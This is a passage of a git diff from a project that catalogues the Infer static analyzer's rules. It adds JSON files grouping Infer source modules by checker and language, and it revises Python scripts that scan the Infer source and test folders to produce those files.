"ParameterNotNullChecked", "PurityAnalysis", "PurityChecker", + "RequiredProps", "SelfInBlock", "SilValidation", "Siof", + "SiofDomain", + "SiofTrace", "StaticConstructorStallChecker", + "addressTaken", "annotationReachability", + "annotationReachabilityDomain", + "control", + "dominators", + "fragmentRetainsViewChecker", "impurity", + "impurityDomain", "inefficientKeysetIterator", "liveness", + "loopInvariant", + "loop_control", + "purityDomain", + "purityModels", + "reachingDefs", "scopeLeakage" ] } \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/clang.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/clang.json new file mode 100644 index 0000000..c842e05 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/clang.json @@ -0,0 +1,49 @@ +{ + "name": "clang", + "description": null, + "rules": [ + "CAddImplicitDeallocImpl", + "CAddImplicitGettersSetters", + "CMethodProperties", + "CMockPointerSubst", + "CReplaceDynamicDispatch", + "CStructUtils", + "CType", + "CType_decl", + "CViewControllerLifecycle", + "Capture", + "ClangCommand", + "ClangFrontendStubs", + "ClangPointers", + "ClangQuotes", + "ClangWrapper", + "CppLambdaCalls", + "SwitchCase", + "ast_expressions", + "cArithmetic_trans", + "cAst_utils", + "cContext", + "cEnum_decl", + "cField_decl", + "cFrontend", + "cFrontend_config", + "cFrontend_decl", + "cFrontend_errors", + "cGeneral_utils", + "cLocation", + "cMethodSignature", + "cMethod_trans", + "cModule_type", + "cScope", + "cTrans", + "cTrans_models", + "cTrans_utils", + "cType_to_sil_type", + "cVar_decl", + "clang_ast_extend", + "objcCategory_decl", + "objcInterface_decl", + "objcMethod_decl", + "objcProtocol_decl" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/concurrency.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/concurrency.json index 30b6025..59add58 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/concurrency.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/concurrency.json @@ -2,6 +2,15 @@ "name": "concurrency", "description": null, "rules": [ - "starvation" + "AbstractAddress", + "ConcurrencyUtils", + "IssueAuxData", + "RacerDDomain", + "RacerDFileAnalysis", + "RacerDModels", + "RacerDProcAnalysis", + "StarvationModels", + "starvation", + "starvationDomain" ] } \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/cost.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/cost.json index 39bab8b..447f765 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/cost.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/cost.json @@ -3,6 +3,15 @@ "description": null, "rules": [ "ConfigImpactAnalysis", - "cost" + "boundMap", + "constraintSolver", + "controlFlowCost", + "cost", + "costAllocationModels", + "costDomain", + "costInstantiate", + "costModels", + "costUtils", + "hoisting" ] } \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/erlang.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/erlang.json new file mode 100644 index 0000000..16a5f24 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/erlang.json @@ -0,0 +1,15 @@ +{ + "name": "erlang", + "description": null, + "rules": [ + "ErlangAst", + "ErlangAstValidator", + "ErlangBlock", + "ErlangEnvironment", + "ErlangJsonParser", + "ErlangNode", + "ErlangScopes", + "ErlangTranslator", + "ErlangTypes" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/inferppx-tests.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/inferppx-tests.json new file mode 100644 index 0000000..cbf3e48 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/inferppx-tests.json @@ -0,0 +1,10 @@ +{ + "name": "inferppx-tests", + "description": null, + "rules": [ + "AbsDomainInlinedCode", + "AbsDomainTests", + "HashNormInlinedCode", + "HashNormTests" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/inferppx.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/inferppx.json new file mode 100644 index 0000000..b87cba3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/inferppx.json @@ -0,0 +1,10 @@ +{ + "name": "inferppx", + "description": null, + "rules": [ + "AbsDomain", + "Common", + "Hashnorm", + "StatsPpx" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/integration.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/integration.json index c8eecf0..5fdf0e1 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/integration.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/integration.json @@ -2,10 +2,44 @@ "name": "integration", "description": null, "rules": [ + "Ant", + "Bitcode", + "Buck", + "BxlCapture", + "CaptureCompilationDatabase", + "CaptureManipulation", + "CaptureSILJson", "Clang", + "CompilationDatabase", + "ConfigImpactIssuesTest", + "ConfigImpactPostProcess", + "CostIssuesTest", + "Differential", + "DifferentialFilters", + "Driver", "Erlang", + "Gradle", "Hack", + "Help", + "InferCommandImplementation", + "IssuesTest", + "Javac", + "JsonReports", + "Kotlinc", + "Maven", + "NdkBuild", "Python", - "Rust" + "ReportDataFlows", + "ReportDiff", + "ReportLineage", + "Rust", + "SarifReport", + "StatsDiff", + "Suppressions", + "TextReport", + "TraceBugs", + "XMLReport", + "XcodeBuild", + "mergeCapture" ] } \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/istd.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/istd.json new file mode 100644 index 0000000..f631338 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/istd.json @@ -0,0 +1,39 @@ +{ + "name": "istd", + "description": null, + "rules": [ + "ARList", + "Escape", + "GOption", + "HashNormalizer", + "HashSet", + "ICompare", + "IContainer", + "IExn", + "IFilename", + "IFmt", + "IInt", + "IList", + "IMtime", + "IMutex", + "IOption", + "IResult", + "ISeq", + "ISequence", + "IStd", + "IString", + "ISys", + "IUnix", + "ImperativeUnionFind", + "PartialOrder", + "PhysEqual", + "PolyVariantEqual", + "Pp", + "PrettyPrintable", + "RecencyMap", + "RevList", + "SafeLazy", + "SpecialChars", + "UnionFind" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/java.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/java.json new file mode 100644 index 0000000..9607045 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/java.json @@ -0,0 +1,18 @@ +{ + "name": "java", + "description": null, + "rules": [ + "JavaFrontendStubs", + "jAnnotation", + "jClasspath", + "jContext", + "jFrontend", + "jMain", + "jProgramDesc", + "jSourceAST", + "jSourceLocations", + "jTrans", + "jTransExn", + "jTransType" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/labs.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/labs.json new file mode 100644 index 0000000..2102e6d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/labs.json @@ -0,0 +1,8 @@ +{ + "name": "labs", + "description": null, + "rules": [ + "ResourceLeakDomain", + "ResourceLeaks" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/llvm.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/llvm.json new file mode 100644 index 0000000..e36a446 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/llvm.json @@ -0,0 +1,11 @@ +{ + "name": "llvm", + "description": null, + "rules": [ + "Llair2Textual", + "Llair2TextualProcState", + "Llair2TextualType", + "LlvmFrontend", + "StdUtils" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/opensource.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/opensource.json new file mode 100644 index 0000000..d6355ca --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/opensource.json @@ -0,0 +1,13 @@ +{ + "name": "opensource", + "description": null, + "rules": [ + "FbCostModels", + "FbGKInteraction", + "FbInternalLinks", + "FbPulseConfigName", + "FbPulseModels", + "FbThreadSafety", + "Scribe" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/pulse.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/pulse.json index 8d44634..47104dd 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/pulse.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/pulse.json @@ -2,6 +2,82 @@ "name": "pulse", "description": null, "rules": [ - "Pulse" + "Pulse", + "PulseAbductiveDecompiler", + "PulseAbductiveDomain", + "PulseAbstractValue", + "PulseAccess", + "PulseAccessResult", + "PulseArithmetic", + "PulseAttribute", + "PulseAutofix", + "PulseBaseAddressAttributes", + "PulseBaseDomain", + "PulseBaseMemory", + "PulseBaseStack", + "PulseBasicInterface", + "PulseCItv", + "PulseCallEvent", + "PulseCallOperations", + "PulseCanonValue", + "PulseCheapCopyTypes", + "PulseContext", + "PulseDecompiler", + "PulseDecompilerExpr", + "PulseDiagnostic", + "PulseDomainInterface", + "PulseExecutionDomain", + "PulseFormula", + "PulseInterproc", + "PulseInvalidation", + "PulseJoin", + "PulseLatentIssue", + "PulseLoadInstrModels", + "PulseModels", + "PulseModelsAndroid", + "PulseModelsC", + "PulseModelsCSharp", + "PulseModelsCpp", + "PulseModelsDSL", + "PulseModelsErlang", + "PulseModelsGenericArrayBackedCollection", + "PulseModelsHack", + "PulseModelsImport", + "PulseModelsJava", + "PulseModelsLocks", + "PulseModelsObjC", + "PulseModelsOptional", + "PulseModelsPython", + "PulseModelsSmartPointers", + "PulseMutualRecursion", + "PulseNonDisjunctiveDomain", + "PulseNonDisjunctiveOperations", + "PulseOperationResult", + "PulseOperations", + "PulsePathContext", + "PulsePp", + "PulseRefCounting", + "PulseReport", + "PulseResult", + "PulseRetainCycleChecker", + "PulseSatUnsat", + "PulseSkippedCalls", + "PulseSpecialization", + "PulseSpecializedCallGraph", + "PulseSummary", + "PulseTaintConfig", + "PulseTaintItem", + "PulseTaintItemMatcher", + "PulseTaintOperations", + "PulseTimestamp", + "PulseTopl", + "PulseTrace", + "PulseTransitiveAccessChecker", + "PulseTransitiveInfo", + "PulseUninitBlocklist", + "PulseValueHistory", + "PulseValueOrigin", + "QSafeCapped", + "ZSafe" ] } \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/python.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/python.json new file mode 100644 index 0000000..b09bdcc --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/python.json @@ -0,0 +1,11 @@ +{ + "name": "python", + "description": null, + "rules": [ + "FFI", + "PyIR", + "PyIR2Textual", + "PyIRExec", + "PyIRTypeInference" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/scripts.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/scripts.json new file mode 100644 index 0000000..6c0f7c5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/scripts.json @@ -0,0 +1,7 @@ +{ + "name": "scripts", + "description": null, + "rules": [ + "checkCopyright" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/sledge.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/sledge.json new file mode 100644 index 0000000..792b575 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/sledge.json @@ -0,0 +1,8 @@ +{ + "name": "sledge", + "description": null, + "rules": [ + "LlvmSledgeFrontend", + "LlvmSledgeFrontendStubs" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/textual.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/textual.json new file mode 100644 index 0000000..c706934 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/textual.json @@ -0,0 +1,16 @@ +{ + "name": "textual", + "description": null, + "rules": [ + "LineMap", + "Textual", + "TextualBasicVerification", + "TextualDecls", + "TextualLexer", + "TextualParser", + "TextualSil", + "TextualTransform", + "TextualTypeVerification", + "TextualVerification" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/topl.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/topl.json index 8dbc396..17ec512 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/topl.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/topl.json @@ -2,6 +2,9 @@ "name": "topl", "description": null, "rules": [ - "Topl" + "DataFlowQuery", + "Topl", + "ToplAstOps", + "ToplAutomaton" ] } \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/unit.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/unit.json new file mode 100644 index 0000000..3aa1910 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/unit.json @@ -0,0 +1,25 @@ +{ + "name": "unit", + "description": null, + "rules": [ + "DifferentialFiltersTests", + "DifferentialTests", + "DifferentialTestsUtils", + "FileDiffTests", + "GradleTests", + "HilExpTests", + "IListTests", + "JavaClassNameTests", + "RestartSchedulerTests", + "SeverityTests", + "abstractInterpreterTests", + "accessPathTestUtils", + "accessTreeTests", + "addressTakenTests", + "analyzerTester", + "livenessTests", + "procCfgTests", + "schedulerTests", + "weakTopologicalOrderTests" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/main/infer-main.json b/Raw Data/Static Analysis Tool/infer/Rule formation/main/infer-main.json index b772652..44506d6 100644 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/main/infer-main.json +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/main/infer-main.json @@ -2,5 +2,19 @@ "artifactId": "infer", "groupId": null, "version": 1.2.0, - "module": ["infer"] + "module": [ + "infer-c", + "infer-cpp", + "infer-c_cpp", + "infer-dotnet", + "infer-erlang", + "infer-hack", + "infer-java", + "infer-kotlin", + "infer-objc", + "infer-objcpp", + "infer-python", + "infer-sil", + "infer-swift" + ] } \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-c.json b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-c.json new file mode 100644 index 0000000..3250435 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-c.json @@ -0,0 +1,10 @@ +{ + "artifactId": "infer-c", + "name": "infer-c", + "modelVersion": null, + "groups": [ + "bufferoverrun", + "pulse", + "topl" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-c_cpp.json b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-c_cpp.json new file mode 100644 index 0000000..a296799 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-c_cpp.json @@ -0,0 +1,8 @@ +{ + "artifactId": "infer-c_cpp", + "name": "infer-c_cpp", + "modelVersion": null, + "groups": [ + "pulse" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-cpp.json b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-cpp.json new file mode 100644 index 0000000..dcdc7b6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-cpp.json @@ -0,0 +1,9 @@ +{ + "artifactId": "infer-cpp", + "name": "infer-cpp", + "modelVersion": null, + "groups": [ + "bufferoverrun", + "pulse" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-dotnet.json b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-dotnet.json new file mode 100644 index 0000000..c349212 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-dotnet.json @@ -0,0 +1,6 @@ +{ + "artifactId": "infer-dotnet", + "name": "infer-dotnet", + "modelVersion": null, + "groups": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-erlang.json b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-erlang.json new file mode 100644 index 0000000..7ac664d --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-erlang.json @@ -0,0 +1,9 @@ +{ + "artifactId": "infer-erlang", + "name": "infer-erlang", + "modelVersion": null, + "groups": [ + "pulse", + "topl" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-hack.json b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-hack.json new file mode 100644 index 0000000..fb1c658 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-hack.json @@ -0,0 +1,8 @@ +{ + "artifactId": "infer-hack", + "name": "infer-hack", + "modelVersion": null, + "groups": [ + "pulse" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-java.json b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-java.json new file mode 100644 index 0000000..8263865 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-java.json @@ -0,0 +1,10 @@ +{ + "artifactId": "infer-java", + "name": "infer-java", + "modelVersion": null, + "groups": [ + "bufferoverrun", + "pulse", + "topl" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-kotlin.json b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-kotlin.json new file mode 100644 index 0000000..adb35b0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-kotlin.json @@ -0,0 +1,8 @@ +{ + "artifactId": "infer-kotlin", + "name": "infer-kotlin", + "modelVersion": null, + "groups": [ + "pulse" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-modules.json b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-modules.json deleted file mode 100644 index b49a615..0000000 --- a/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-modules.json +++ /dev/null @@ -1,13 +0,0 @@ -{ - "artifactId": "infer", - "name": "infer", - "modelVersion": null, - "groups": [ - "bufferoverrun", - "checkers", - "concurrency", - "cost", - "pulse", - "topl" - ] -} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-objc.json b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-objc.json new file mode 100644 index 0000000..197e923 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-objc.json @@ -0,0 +1,9 @@ +{ + "artifactId": "infer-objc", + "name": "infer-objc", + "modelVersion": null, + "groups": [ + "bufferoverrun", + "pulse" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-objcpp.json b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-objcpp.json new file mode 100644 index 0000000..939822c --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-objcpp.json @@ -0,0 +1,8 @@ +{ + "artifactId": "infer-objcpp", + "name": "infer-objcpp", + "modelVersion": null, + "groups": [ + "pulse" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-python.json b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-python.json new file mode 100644 index 0000000..e33a09b --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-python.json @@ -0,0 +1,8 @@ +{ + "artifactId": "infer-python", + "name": "infer-python", + "modelVersion": null, + "groups": [ + "pulse" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-sil.json b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-sil.json new file mode 100644 index 0000000..d560cc7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-sil.json @@ -0,0 +1,9 @@ +{ + "artifactId": "infer-sil", + "name": "infer-sil", + "modelVersion": null, + "groups": [ + "pulse", + "topl" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-swift.json b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-swift.json new file mode 100644 index 0000000..531d303 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-swift.json @@ -0,0 +1,8 @@ +{ + "artifactId": "infer-swift", + "name": "infer-swift", + "modelVersion": null, + "groups": [ + "pulse" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Scripts/infer-checkers.py b/Raw Data/Static Analysis Tool/infer/Scripts/infer-checkers.py index 7571b72..3c55199 100644 --- a/Raw Data/Static Analysis Tool/infer/Scripts/infer-checkers.py +++ b/Raw Data/Static Analysis Tool/infer/Scripts/infer-checkers.py @@ -2,20 +2,12 @@ import re import json -checker_file = r"C:\Poorcomputer\Study\Github\infer\infer\src\base\Checker.ml" src_root_dir = r"C:\Poorcomputer\Study\Github\infer\infer\src" test_base_dir = r"C:\Poorcomputer\Study\Github\infer\infer\tests\codetoanalyze" output_root_dir = r"C:\Poorcomputer\Study\Github\CodingRuleMap\Raw Data\Static Analysis Tool\infer\Rule formation\checkers" os.makedirs(output_root_dir, exist_ok=True) -with open(checker_file, encoding="utf-8") as f: - content = f.read() - -# 提取每个规则的内容 -pattern = re.compile(r"\|\s*(\w+)\s*->\s*\{(.*?)(?=^\s*\| |\Z)", re.DOTALL | re.MULTILINE) -matches = pattern.findall(content) - def count_loc(code: str) -> int: return len([line for line in code.strip().splitlines() if line.strip() and not line.strip().startswith(';')]) @@ -27,15 +19,11 @@ def count_apis(code: str) -> int: def extract_test_info(rule_name): result = [] - - # 移除规则名后缀的 "checker"(不区分大小写) rule_base = re.sub(r'checker$', '', rule_name, flags=re.IGNORECASE).lower() - for lang_folder in ["c", "cpp", "java", "python"]: lang_path = os.path.join(test_base_dir, lang_folder) if not os.path.isdir(lang_path): continue - for subdir in os.listdir(lang_path): if subdir.lower() == rule_base: rule_test_path = os.path.join(lang_path, subdir) @@ -45,8 +33,6 @@ def extract_test_info(rule_name): "java": ".java", "python": ".py" }[lang_folder] - - # 递归遍历 rule_test_path 下所有文件 for root, _, files in os.walk(rule_test_path): for file in files: if file.endswith(file_ext): @@ -56,68 +42,54 @@ def extract_test_info(rule_name): code = f.read() except: continue - func_count = len(re.findall( r'\b(def|void|int|float|char|double|boolean|public|private|static|class)\b', code)) - result.append({ "testname": file, "testlanguage": "c++" if lang_folder == "cpp" else lang_folder, "expected-problems": func_count, "code": code }) - return result +# 只获取第一级文件夹(排除 base 和 unit) +rule_files = [] +for first_level_dir in os.listdir(src_root_dir): + first_level_path = os.path.join(src_root_dir, first_level_dir) + if not os.path.isdir(first_level_path): + continue + if first_level_dir.lower() in ("base", "unit"): + continue + # 只获取该第一级文件夹下的直接 .ml 文件 + for filename in os.listdir(first_level_path): + if filename.endswith(".ml"): + rule_name = os.path.splitext(filename)[0] + rule_path = os.path.join(first_level_path, filename) + folder_name = first_level_dir + rule_files.append((rule_name, rule_path, folder_name)) + +for rule_name, rule_path, folder_name in rule_files: + with open(rule_path, encoding="utf-8") as rf: + rule_code = rf.read() - - -def find_rule_ml_path(rule_name: str, root_dir: str) -> tuple[str, str] or tuple[None, None]: - """ - 遍历 root_dir 子目录,寻找名为 rule_name.ml 的文件 - 返回 (规则文件完整路径, 规则文件所在文件夹名) ,找不到返回 (None, None) - """ - for dirpath, dirnames, filenames in os.walk(root_dir): - for filename in filenames: - if filename.lower() == f"{rule_name.lower()}.ml": - folder_name = os.path.basename(dirpath) - return os.path.join(dirpath, filename), folder_name - return None, None - -for rule_name, rule_body in matches: languages = [] - # 匹配支持语言 - support_match = re.search(r"support\s*=\s*mk_support_func\s*~([^)]*)\)", rule_body) + support_match = re.search(r"support\s*=\s*mk_support_func\s*~([^)]*)\)", rule_code) if support_match: lang_str = support_match.group(1) for lang in ["clang", "java", "erlang", "hack", "python"]: if f"{lang}:" in lang_str: languages.append(lang) - # 匹配描述 - desc_match = re.search(r'short_documentation\s*=\s*"([^"]+)"', rule_body) + desc_match = re.search(r'short_documentation\s*=\s*"([^"]+)"', rule_code) description = desc_match.group(1) if desc_match else "" - # 初始化统计数据 - loc = branches = apis = 0 - - # 查找规则对应的 ml 文件及所在文件夹名 - rule_ml_path, folder_name = find_rule_ml_path(rule_name, src_root_dir) - if rule_ml_path and os.path.isfile(rule_ml_path): - with open(rule_ml_path, encoding="utf-8") as rf: - rule_code = rf.read() - loc = count_loc(rule_code) - branches = count_branches(rule_code) - apis = count_apis(rule_code) - else: - folder_name = "unknown" - + loc = count_loc(rule_code) + branches = count_branches(rule_code) + apis = count_apis(rule_code) - # 构造输出目录,确保存在 output_dir = os.path.join(output_root_dir, folder_name) os.makedirs(output_dir, exist_ok=True) - # 生成 JSON 数据 json_data = { "name": rule_name, "language": languages, @@ -132,9 +104,8 @@ def find_rule_ml_path(rule_name: str, root_dir: str) -> tuple[str, str] or tuple "test": extract_test_info(rule_name) } - # 保存 JSON 文件 output_path = os.path.join(output_dir, f"{rule_name}.json") with open(output_path, "w", encoding="utf-8") as f: json.dump(json_data, f, indent=2, ensure_ascii=False) -print(f"共提取 {len(matches)} 个规则,已写入至 {output_root_dir}") +print(f"共提取 {len(rule_files)} 个规则,已写入至 {output_root_dir}") diff --git a/Raw Data/Static Analysis Tool/infer/Scripts/infer-groups.py b/Raw Data/Static Analysis Tool/infer/Scripts/infer-groups.py index 62d0df1..7fa1e82 100644 --- a/Raw Data/Static Analysis Tool/infer/Scripts/infer-groups.py +++ b/Raw Data/Static Analysis Tool/infer/Scripts/infer-groups.py @@ -1,43 +1,37 @@ import os -import re import json -checker_ml_path = r"C:\Poorcomputer\Study\Github\infer\infer\src\base\Checker.ml" src_base_dir = r"C:\Poorcomputer\Study\Github\infer\infer\src" output_dir = r"C:\Poorcomputer\Study\Github\CodingRuleMap\Raw Data\Static Analysis Tool\infer\Rule formation\groups" - -# 提取所有规则名 -with open(checker_ml_path, encoding='utf-8') as f: - content = f.read() - -pattern = re.compile(r"\|\s*(\w+)\s*->") -all_rules = pattern.findall(content) -rule_set = set(rule.lower() for rule in all_rules) # 不区分大小写 +os.makedirs(output_dir, exist_ok=True) group_dict = {} -# 遍历 src 下所有子目录 -for dirpath, dirnames, filenames in os.walk(src_base_dir): - group_name = os.path.basename(dirpath) - matched_rules = [] +# 只遍历 src 下的第一级文件夹 +for first_level_dir in os.listdir(src_base_dir): + first_level_path = os.path.join(src_base_dir, first_level_dir) + if not os.path.isdir(first_level_path): + continue # 跳过文件 - for file in filenames: - if file.lower().endswith('.ml'): - rule_candidate = os.path.splitext(file)[0].lower() - if rule_candidate in rule_set: - matched_rules.append(file[:-3]) # 去掉 .ml 后缀 + matched_rules = [] + # 只看这个文件夹下的直接 .ml 文件 + for filename in os.listdir(first_level_path): + if filename.lower().endswith(".ml"): + matched_rules.append(filename[:-3]) # 去掉 .ml 后缀 if matched_rules: - group_dict[group_name] = group_dict.get(group_name, []) + matched_rules + group_dict[first_level_dir] = sorted(set(matched_rules)) -# 保存为 json 文件 +# 保存每个组为独立 JSON for group, rules in group_dict.items(): group_data = { "name": group, "description": None, - "rules": sorted(set(rules)) # 去重并排序 + "rules": rules } output_path = os.path.join(output_dir, f"{group}.json") with open(output_path, 'w', encoding='utf-8') as f: json.dump(group_data, f, indent=2, ensure_ascii=False) + +print(f"共提取 {len(group_dict)} 个组,已保存到 {output_dir}") diff --git a/Raw Data/Static Analysis Tool/infer/Scripts/infer-modules.py b/Raw Data/Static Analysis Tool/infer/Scripts/infer-modules.py index 95b8fe8..6f8ed2a 100644 --- a/Raw Data/Static Analysis Tool/infer/Scripts/infer-modules.py +++ b/Raw Data/Static Analysis Tool/infer/Scripts/infer-modules.py @@ -1,46 +1,41 @@ import os -import re import json -checker_ml_path = r"C:\Poorcomputer\Study\Github\infer\infer\src\base\Checker.ml" src_root_dir = r"C:\Poorcomputer\Study\Github\infer\infer\src" -output_json_path = r"C:\Poorcomputer\Study\Github\CodingRuleMap\Raw Data\Static Analysis Tool\infer\Rule formation\modules\infer-modules.json" - - -pattern = re.compile(r"\|\s*(\w+)\s*->\s*\{", re.MULTILINE) -with open(checker_ml_path, "r", encoding="utf-8") as f: - content = f.read() - -rule_names = pattern.findall(content) -print(f"共提取规则数量: {len(rule_names)}") - -file_index = {} -for root, dirs, files in os.walk(src_root_dir): - for file in files: - if file.lower().endswith(".ml"): - name_without_ext = file[:-3].lower() - folder_name = os.path.basename(root) - file_index[name_without_ext] = folder_name - -groups_set = set() -for rule in rule_names: - rule_lower = rule.lower() - group = file_index.get(rule_lower) - if group: - groups_set.add(group) - -groups_list = sorted(groups_set) -print(f"找到规则组数量: {len(groups_list)}") - -summary = { - "artifactId": "infer", - "name": "infer", - "modelVersion": None, - "groups": groups_list, -} - -os.makedirs(os.path.dirname(output_json_path), exist_ok=True) -with open(output_json_path, "w", encoding="utf-8") as f: - json.dump(summary, f, indent=2, ensure_ascii=False) - -print(f"规则组汇总已保存到:{output_json_path}") +tests_root_dir = r"C:\Poorcomputer\Study\Github\infer\infer\tests\codetoanalyze" +output_dir = r"C:\Poorcomputer\Study\Github\CodingRuleMap\Raw 